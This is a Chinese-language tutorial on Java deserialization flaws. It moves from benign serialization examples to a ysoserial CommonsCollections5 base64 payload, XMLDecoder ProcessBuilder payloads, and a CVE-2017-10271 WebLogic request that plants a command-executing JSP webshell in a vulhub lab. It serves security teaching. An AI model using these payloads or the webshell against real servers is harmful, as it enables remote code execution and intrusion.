反序列化漏洞原理及实践¶
什么是序列化和反序列化?¶
序列化(Serialization)¶
序列化是将对象的状态信息转换为可以存储或传输的格式的过程。简单来说,就是将对象转换为字节序列或其他格式(如 JSON、XML 等),以便可以将其保存到文件、数据库或通过网络传输。
作用:
- 存储对象:将对象的状态保存到文件或数据库中,以便后续可以恢复。
- 网络传输:将对象转换为字节流,通过网络发送到其他系统或服务。
- 数据交换:将对象转换为通用格式(如 JSON、XML),以便与其他语言或系统进行数据交换。
示例: 假设有一个用户对象,包含用户名和年龄:
将这个对象转换为 JSON 格式并保存到文件或通过网络发送,就是序列化的过程。
反序列化(Deserialization)¶
反序列化是序列化的逆过程,即将序列化后的数据(如字节流、JSON、XML 等)转换回原始对象的过程。简单来说,就是从存储或传输的格式中恢复对象的状态。
作用:
- 恢复对象状态:从存储介质(如文件、数据库)或网络传输中恢复对象的原始状态。
- 数据解析:将通用格式的数据(如 JSON、XML)解析为编程语言中的对象,以便进一步处理。
- 跨系统交互:将从其他系统接收到的数据转换为本地系统可以使用的对象。
示例: 假设从网络接收到一个 JSON 字符串:
将这个 JSON 字符串解析为用户对象,就是反序列化的过程。
反序列化场景¶
那么什么场景会用到反序列化呢?
对象持久化¶
Java 提供了序列化机制,可以将对象的状态保存到文件中,以便后续可以恢复。
使用场景¶
- 保存用户会话数据:将用户会话信息(如用户登录状态、购物车内容等)序列化到文件或数据库中。
- 缓存对象:将复杂对象序列化到磁盘,以便后续快速加载。
示例代码¶
import java.io.*;
public class SerializationExample {
public static void main(String[] args) {
// 序列化对象
User user = new User("Kimi", 25);
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.ser"))) {
oos.writeObject(user);
System.out.println("对象已序列化并保存到文件");
} catch (IOException e) {
e.printStackTrace();
}
// 反序列化对象
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.ser"))) {
User deserializedUser = (User) ois.readObject();
System.out.println("反序列化对象: " + deserializedUser);
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
class User implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
private int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "User{name='" + name + "', age=" + age + "}";
}
}
网络传输¶
在分布式系统中,对象需要通过网络传输。序列化可以将对象转换为字节流,反序列化则可以将字节流恢复为对象。
使用场景¶
- RPC(远程过程调用):客户端将请求对象序列化后发送到服务器,服务器反序列化后处理请求。
- 消息队列:将消息对象序列化后发送到消息队列,消费者从队列中读取消息并反序列化。
示例代码¶
import java.io.*;
import java.net.*;
public class NetworkSerializationExample {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// 服务器端
ServerSocket serverSocket = new ServerSocket(8080);
System.out.println("服务器启动,等待客户端连接...");
Socket clientSocket = serverSocket.accept();
System.out.println("客户端已连接");
try (ObjectInputStream ois = new ObjectInputStream(clientSocket.getInputStream())) {
User user = (User) ois.readObject();
System.out.println("从客户端接收到对象: " + user);
}
// 客户端
Socket socket = new Socket("localhost", 8080);
User user = new User("Kimi", 25);
try (ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream())) {
oos.writeObject(user);
System.out.println("已向服务器发送对象");
}
}
}
数据交换¶
在 Java 中,序列化和反序列化常用于将对象转换为通用格式(如 JSON 或 XML),以便与其他系统或语言进行数据交换。
使用场景¶
- RESTful API:将对象序列化为 JSON 或 XML 格式发送到客户端,客户端将 JSON 或 XML 反序列化为对象。
- 跨语言数据交换:将 Java 对象序列化为通用格式,以便其他语言(如 JavaScript、Python)可以解析。
示例代码(使用 JSON)¶
import com.fasterxml.jackson.databind.ObjectMapper;
public class JsonSerializationExample {
public static void main(String[] args) throws IOException {
// 序列化对象为 JSON
User user = new User("Kimi", 25);
ObjectMapper objectMapper = new ObjectMapper();
String jsonString = objectMapper.writeValueAsString(user);
System.out.println("序列化为 JSON: " + jsonString);
// 反序列化 JSON 为对象
User deserializedUser = objectMapper.readValue(jsonString, User.class);
System.out.println("反序列化对象: " + deserializedUser);
}
}
class User {
private String name;
private int age;
public User() {} // Jackson 需要无参构造函数
public User(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "User{name='" + name + "', age=" + age + "}";
}
}
缓存¶
在 Java 应用程序中,可以将对象序列化到磁盘或内存中,以便后续快速加载。
使用场景¶
- 内存缓存:将对象序列化到内存中,以便快速访问。
- 分布式缓存:将对象序列化后存储到分布式缓存系统(如 Redis)中。
示例代码¶
import java.io.*;
import java.util.HashMap;
import java.util.Map;
public class CacheSerializationExample {
private static final Map<String, byte[]> cache = new HashMap<>();
public static void main(String[] args) throws IOException, ClassNotFoundException {
// 序列化对象并缓存
User user = new User("Kimi", 25);
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(user);
byte[] serializedUser = baos.toByteArray();
cache.put("userKey", serializedUser);
System.out.println("对象已序列化并缓存");
}
// 从缓存中获取并反序列化对象
byte[] cachedUser = cache.get("userKey");
try (ByteArrayInputStream bais = new ByteArrayInputStream(cachedUser);
ObjectInputStream ois = new ObjectInputStream(bais)) {
User deserializedUser = (User) ois.readObject();
System.out.println("从缓存中反序列化对象: " + deserializedUser);
}
}
}
配置管理¶
在 Java 应用程序中,可以将配置信息序列化为文件,以便后续加载和修改。
使用场景¶
- 配置文件:将配置对象序列化为文件,以便后续加载。
- 动态配置:从文件中反序列化配置对象,动态更新应用程序的配置。
示例代码¶
import java.io.*;
public class ConfigSerializationExample {
public static void main(String[] args) {
// 序列化配置对象
AppConfig config = new AppConfig("localhost", 8080);
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("config.ser"))) {
oos.writeObject(config);
System.out.println("配置对象已序列化并保存到文件");
} catch (IOException e) {
e.printStackTrace();
}
// 反序列化配置对象
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("config.ser"))) {
AppConfig deserializedConfig = (AppConfig) ois.readObject();
System.out.println("反序列化配置对象: " + deserializedConfig);
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
class AppConfig implements Serializable {
private static final long serialVersionUID = 1L;
private String host;
private int port;
public AppConfig(String host, int port) {
this.host = host;
this.port = port;
}
@Override
public String toString() {
return "AppConfig{host='" + host + "', port=" + port + "}";
}
}
总结¶
在 Java 中,序列化和反序列化有以下常见使用场景:
- 对象持久化:将对象保存到文件或数据库中。
- 网络传输:通过网络发送和接收对象。
- 数据交换:将对象转换为通用格式(如 JSON、XML)以便与其他系统或语言交互。
- 缓存:将对象序列化到内存或分布式缓存中。
- 配置管理:将配置信息序列化为文件,以便后续加载和修改。
原理研究¶
环境搭建¶

readObject/writeObject¶
readObject 和 writeObject 方法并不是每个 Java 类都具有的。它们是 Java 提供的特殊方法,用于在对象进行序列化和反序列化时进行自定义操作。
这两个方法通常是在实现 java.io.Serializable 接口的类中定义的。 java.io.Serializable 是一个标记接口,表示该类的对象可以被序列化和反序列化。
当一个类实现了 Serializable 接口后,它会默认继承以下方法:
private void writeObject(java.io.ObjectOutputStream out) throws IOException:用于自定义对象的序列化过程。可以在该方法中指定需要序列化的字段和自定义序列化逻辑。private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException:用于自定义对象的反序列化过程。可以在该方法中指定如何从输入流中恢复对象的字段以及自定义反序列化逻辑。
这些方法是可选的,如果不需要进行自定义的序列化和反序列化操作,可以省略它们,而使用默认的序列化和反序列化机制。
需要注意的是,writeObject 和 readObject 方法必须具有 private 访问修饰符,以确保它们只能在对象内部被调用,而不会被外部代码调用。
代码示例¶
import java.io.*;
public class Deserialization implements java.io.Serializable {
public String name;
public int age;
Deserialization(String name, int age) {
this.name = name;
this.age = age;
}
// 序列化时自动调用
private void writeObject(java.io.ObjectOutputStream s) throws IOException {
s.defaultWriteObject();
s.writeObject("This is a object");
}
// 反序列化时自动调用
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
String message = (String) s.readObject();
System.out.println(message);
}
public static void main(String[] args) {
// 创建一个 Deserialization 对象
Deserialization obj = new Deserialization("John Doe", 30);
try {
// 序列化对象到文件
FileOutputStream fileOut = new FileOutputStream("object.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut);
out.writeObject(obj);
out.close();
fileOut.close();
System.out.println("Object serialized and saved to object.ser");
// 反序列化对象
FileInputStream fileIn = new FileInputStream("object.ser");
ObjectInputStream in = new ObjectInputStream(fileIn);
Deserialization deserializedObj = (Deserialization) in.readObject();
in.close();
fileIn.close();
// 打印反序列化后的对象信息
System.out.println("Deserialized Object:");
System.out.println("Name: " + deserializedObj.name);
System.out.println("Age: " + deserializedObj.age);
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
代码解释¶
代码定义了一个名为 Deserialization 的类,实现了 java.io.Serializable 接口,这意味着该类的对象可以被序列化和反序列化。Deserialization 类有两个公共成员变量 name 和 age,用于存储对象的名称和年龄。
构造函数 Deserialization(String name, int age) 用于初始化对象的名称和年龄。
代码中还定义了两个私有方法 writeObject(java.io.ObjectOutputStream s) 和 readObject(java.io.ObjectInputStream s),它们是 Java 提供的特殊方法,用于在序列化和反序列化过程中对对象进行自定义操作。
writeObject 方法在对象序列化时被调用,它通过调用 s.defaultWriteObject() 将 name 和 age 成员变量写入到输出流中,然后使用 s.writeObject("This is a object") 将一个字符串对象写入输出流中。
readObject 方法在对象反序列化时被调用,它通过调用 s.defaultReadObject() 从输入流中恢复 name 和 age 成员变量的值,然后使用 s.readObject() 读取输入流中的字符串对象,并将其转换为 message。
最后,在 readObject 方法中,字符串 message 被打印到控制台。
在使用该 Deserialization 类时,当对象被序列化和反序列化时,writeObject 和 readObject 方法将会被自动调用,实现自定义的对象序列化和反序列化操作。
攻击演示¶
Java中可分为:原生反序列化类(ObjectInputStream.readObject()、SnakeYaml、XMLDecoder)、三方组件反序列化(Fastjson、Jackson、Xstream……)
ObjectInputStream.readObject()触发反序列化漏洞¶

首先将项目启动,访问对应端口

找到反序列化环境,选择对应的payload,运行


触发反序列化漏洞,执行恶意命令,弹出计算器
XMLDecoder触发反序列化漏洞¶


下面我们打断点调试,看看触发反序列化的恶意xml内容是什么


调试发现最后触发的恶意xml为:
<?xml version="1.0" encoding="UTF-8"?>
<java class="java.beans.XMLDecoder" version="1.8.0_151">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>open</string>
</void>
<void index="1">
<string>-a</string>
</void>
<void index="2">
<string>Calculator</string>
</void>
</array>
<void method="start"/>
</object>
</java>
XML的解析¶
查看XMLDecoder的官方文档(https://www.oracle.com/technical-resources/articles/java/persistence3.html),可以看到几个主要标签的使用说明。
object标签的使用相当于new一个新对象,其中的string标签为构造方法需要的参数。
<object class="javax.swing.JButton">
<string>Press me</string>
</object>
new JButton("Press me");
void标签的method属性可以在反序列化的过程中自动执行,其中的string标签为方法调用的参数。
<object class="javax.swing.JButton">
<string>Press me</string>
<void method="setName">
<string>Greeting</string>
</void>
</object>
JButton button1 = new JButton("Press me");
button1.setName("Greeting");
array标签用来声明数组格式的对象,length属性为数组的长度,index属性为赋值的下标。
<array class="java.lang.String" length="3">
<void index="1">
<string>Hello, world</string>
</void>
</array>
String[] s = new String[3];
s[1] = "Hello, world";
经过上述的说明,我们就可以知道触发命令的过程了
<?xml version="1.0" encoding="UTF-8"?>
<java class="java.beans.XMLDecoder" version="1.8.0_151">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>open</string>
</void>
<void index="1">
<string>-a</string>
</void>
<void index="2">
<string>Calculator</string>
</void>
</array>
<void method="start"/>
</object>
</java>
new java.lang.ProcessBuilder();
String[] s = new String[3];
s[0] = "open";
s[1] = "-a";
s[2] = "Calculator";
new java.lang.ProcessBuilder(s);
new java.lang.ProcessBuilder(s).start();
该恶意xml触发了open -a Calculator命令,从而在mac上弹出了计算器
源码分析¶
ObjectInputStream.readObject()¶
下面我们探究为什么会弹出计算器?ObjectInputStream.readObject()为什么有反序列化漏洞的风险?

首先我们找到相关的触发漏洞的代码,触发的payload如下:
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEm9wZW4gLWEgQ2FsY3VsYXRvcnQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=
我们将这两个整合到一起形成一个demo,方便我们调试
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
/**
* @author yifan
*/
public class Test {
public static void main(String[] args) {
// 示例 Payload,需要替换为实际的 Base64 编码的反序列化数据
String payload = "rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEm9wZW4gLWEgQ2FsY3VsYXRvcnQABGV4ZWN1cQB+ADIAAAABcQB+ADdzcQB+ACdzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=";
try {
// 替换空格为加号,确保 Base64 编码的正确性
payload = payload.replace(" ", "+");
// 解码 Base64 字符串为字节数组
byte[] bytes = Base64.getDecoder().decode(payload);
// 创建 ByteArrayInputStream
ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
// 创建 ObjectInputStream
ObjectInputStream ois = new ObjectInputStream(stream);
// 反序列化对象
Object obj = ois.readObject();
System.out.println("反序列化对象:" + obj.toString());
ois.close();
} catch (IOException | ClassNotFoundException e) {
System.err.println("反序列化失败:" + e.getMessage());
e.printStackTrace();
}
}
}
可以在Object obj = ois.readObject();处打断点,随后进入readObject函数底层调试
XMLDecoder¶
我们将涉及到的恶意xml和相关代码形成一个demo便于调试
import java.beans.XMLDecoder;
import java.io.ByteArrayInputStream;
import java.nio.charset.StandardCharsets;
public class Test {
public static void main(String[] args) {
// 恶意 payload
String payload = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
+ "<java class=\"java.beans.XMLDecoder\" version=\"1.8.0_151\">"
+ "<object class=\"java.lang.ProcessBuilder\">"
+ "<array class=\"java.lang.String\" length=\"3\">"
+ "<void index=\"0\"><string>open</string></void>"
+ "<void index=\"1\"><string>-a</string></void>"
+ "<void index=\"2\"><string>Calculator</string></void>"
+ "</array><void method=\"start\"/></object></java>";
try {
// 使用 XMLDecoder 解析恶意 payload
XMLDecoder decoder = new XMLDecoder(new ByteArrayInputStream(payload.getBytes(StandardCharsets.UTF_8)));
decoder.readObject();
System.out.println("[+] 命令执行成功");
} catch (Exception e) {
System.out.println("[-] 命令执行失败: " + e.getMessage());
}
}
}
经多次尝试,调试顺序为:
[Test.Java, 21] decoder.readObject();
[XMLDecoder.java, 201] XMLDecoder.this.handler.parse(XMLDecoder.this.input);
[DocumentHandler.class, 198] SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);
[SAXParserImpl.class, 171] public void parse(InputSource var1, DefaultHandler var2) throws SAXException, IOException {
[AbstractSAXParser.class, 519] public void parse(InputSource var1) throws SAXException, IOException {
[XMLParser, 24] public void parse(XMLInputSource var1) throws XNIException, IOException {
[XML11Configuration, 330] public boolean parse(boolean var1) throws XNIException, IOException {
......
CVE漏洞演示¶
在实际情况中,反序列化漏洞通常是由于使用了特定的、存在漏洞版本的组件、框架造成的,所以关键在于我们要找到组件的版本信息,以便我们搜索漏洞库利用
以vulhub的CVE-2017-10271反序列化漏洞环境做演示
vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose
默认将容器7001端口映射到主机的7001端口
主机探测¶

开放80,443,7001端口
指纹探测¶

探测出weblogic版本为10.3.6.0
漏洞扫描¶
在得知了weblogic版本后,我们可以使用对应的weblogic扫描工具扫描漏洞,也可以在漏洞库搜索对应版本有无漏洞
手工复现¶

在网上搜索到公开的利用信息,上传webshell poc如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% if("poc".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}
out.print("</pre>");
}
%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

访问webshell路径

执行了命令,存在CVE-2017-10271漏洞
工具复现¶
- MSF


配置相关信息后成功上线
- weblogic扫描工具

漏洞原理¶
检测方法¶
手工检测¶
反序列化数据的特征¶
以一个payload为例:
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3N